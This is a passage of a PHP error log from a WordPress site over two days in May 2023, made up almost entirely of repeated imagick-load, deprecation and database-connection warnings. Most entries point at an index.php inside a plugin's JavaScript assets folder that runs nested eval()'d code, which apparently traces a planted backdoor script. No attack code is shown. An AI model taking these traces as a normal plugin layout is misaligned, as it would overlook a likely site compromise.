UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 21:29:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 21:30:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 21:30:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:32:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:32:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:32:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:32:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:33:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:33:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:33:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:33:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:33:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:33:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:33:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:33:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:34:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:34:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:34:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:34:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:34:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:34:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:34:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:34:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:34:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:34:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:34:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:34:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:35:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:35:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:36:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:36:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:36:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:36:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:36:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:36:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:36:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:36:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:37:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:37:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:37:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:37:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:37:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:37:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:37:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:37:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:37:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:37:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:38:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:38:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:38:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:38:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:38:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:38:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:38:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:38:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:38:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:38:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:38:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:38:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:39:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:39:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:39:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:39:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:39:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:39:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:39:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:39:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:39:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:39:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:39:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:39:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:40:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:40:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:40:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:40:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:40:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:40:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:41:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:41:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:41:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so 